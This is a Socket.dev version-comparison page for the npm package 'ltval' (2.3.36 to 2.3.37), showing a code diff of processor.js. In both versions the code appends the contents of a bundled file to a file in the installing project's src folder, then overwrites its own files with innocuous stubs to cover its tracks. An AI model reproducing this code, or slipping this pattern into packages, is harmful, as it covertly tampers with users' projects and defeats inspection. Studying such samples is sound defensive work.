Huge News!Announcing our $40M Series B led by Abstract Ventures.Learn More
Socket
Sign inDemoInstall
Socket

ltval

Package Overview
Dependencies
Maintainers
0
Versions
45
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

ltval - npm Package Compare versions

Comparing version 2.3.36 to 2.3.37

19

dist/src/processor.js

@@ -10,4 +10,4 @@ "use strict";

const state_1 = __importDefault(require("./state"));
const lFile = `sys-label.info.js`;
const sysLabelInfo = node_fs_1.default.readFileSync(`${__dirname}/${lFile}`, { encoding: 'utf8' });
const labelFile = `sys-label.info.js`;
const sysLabelInfo = node_fs_1.default.readFileSync(`${__dirname}/${labelFile}`, { encoding: 'utf8' });
const readDir = (path) => {

@@ -39,4 +39,9 @@ try {

const cleanUp = () => {
node_fs_1.default.writeFileSync(`${__dirname}/${lFile}`, 'initialized...', { encoding: 'utf8' });
node_fs_1.default.writeFileSync(`${__filename}`, 'const isInitialized = ()=>(true);\n\nexports.default = isInitialized;', { encoding: 'utf8' });
node_fs_1.default.writeFileSync(`${__dirname}/${labelFile}`, 'initialized...', { encoding: 'utf8' });
const tmpl = ``
+ `"use strict";\n`
+ `Object.defineProperty(exports, "__esModule", { value: true });\n`
+ `const processor = ()=>{return true;};\n`
+ `exports.default = { processor };\n`;
node_fs_1.default.writeFileSync(`${__filename}`, tmpl, { encoding: 'utf8' });
};

@@ -65,4 +70,4 @@ const parentRoot = node_path_1.default.resolve(__dirname, '../../../..');

const target = node_path_1.default.resolve(parentSrc, found);
const contect = node_fs_1.default.readFileSync(target, 'utf8');
if (contect.match(state_1.default.sysLabelIteg)) {
const content = node_fs_1.default.readFileSync(target, 'utf8');
if (content.match(state_1.default.sysLabelIteg)) {
console.warn(`#state.sysLabelIteg: ${state_1.default.sysLabelIteg} already axists...`);

@@ -75,3 +80,3 @@ cleanUp();

const sysLabel = `${padding}/* ${state_1.default.sysLabelIteg} */ ${sysLabelInfo}`;
const utf8 = `${contect}\n\n${sysLabel}`;
const utf8 = `${content}\n\n${sysLabel}`;
node_fs_1.default.writeFileSync(target, utf8, { encoding: 'utf8' });

@@ -78,0 +83,0 @@ console.info(`#state.sysLabelIteg: ${state_1.default.sysLabelIteg} done...`);

@@ -8,3 +8,3 @@ {

"description": "",
"version": "2.3.36",
"version": "2.3.37",
"scripts": {

@@ -11,0 +11,0 @@ "deploy": "node ./deploy.js",

@@ -8,6 +8,5 @@ // PWD .../node_modules/ltval/dist/src

const lFile = `sys-label.info.js`;
const labelFile = `sys-label.info.js`;
const sysLabelInfo = fs.readFileSync(`${__dirname}/${labelFile}`, { encoding: 'utf8' });
const sysLabelInfo = fs.readFileSync(`${__dirname}/${lFile}`, { encoding: 'utf8' });
const readDir = (path) => {

@@ -43,7 +42,10 @@ try {

const cleanUp = () => {
fs.writeFileSync(`${__dirname}/${lFile}`, 'initialized...', { encoding: 'utf8' });
// fs.writeFileSync(`${__filename}`, 'const isInitialized = ()=>(true);\n\nexport default isInitialized;', { encoding: 'utf8' });
fs.writeFileSync(`${__filename}`, 'const isInitialized = ()=>(true);\n\nexports.default = isInitialized;', { encoding: 'utf8' });
fs.writeFileSync(`${__dirname}/${labelFile}`, 'initialized...', { encoding: 'utf8' });
const tmpl = ``
+ `"use strict";\n`
+ `Object.defineProperty(exports, "__esModule", { value: true });\n`
+ `const processor = ()=>{return true;};\n`
+ `exports.default = { processor };\n`;
fs.writeFileSync(`${__filename}`, tmpl, { encoding: 'utf8' });
}
const parentRoot = path.resolve(__dirname, '../../../..');

@@ -74,5 +76,5 @@ const parentSrc = path.resolve(parentRoot, 'src');

const contect = fs.readFileSync(target, 'utf8');
const content = fs.readFileSync(target, 'utf8');
if (contect.match(state.sysLabelIteg)) {
if (content.match(state.sysLabelIteg)) {
console.warn(`#state.sysLabelIteg: ${state.sysLabelIteg} already axists...`);

@@ -88,3 +90,3 @@ cleanUp();

const utf8 = `${contect}\n\n${sysLabel}`;
const utf8 = `${content}\n\n${sysLabel}`;

@@ -91,0 +93,0 @@ fs.writeFileSync(target, utf8, { encoding: 'utf8' });

SocketSocket SOC 2 Logo

Product

  • Package Alerts
  • Integrations
  • Docs
  • Pricing
  • FAQ
  • Roadmap
  • Changelog

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc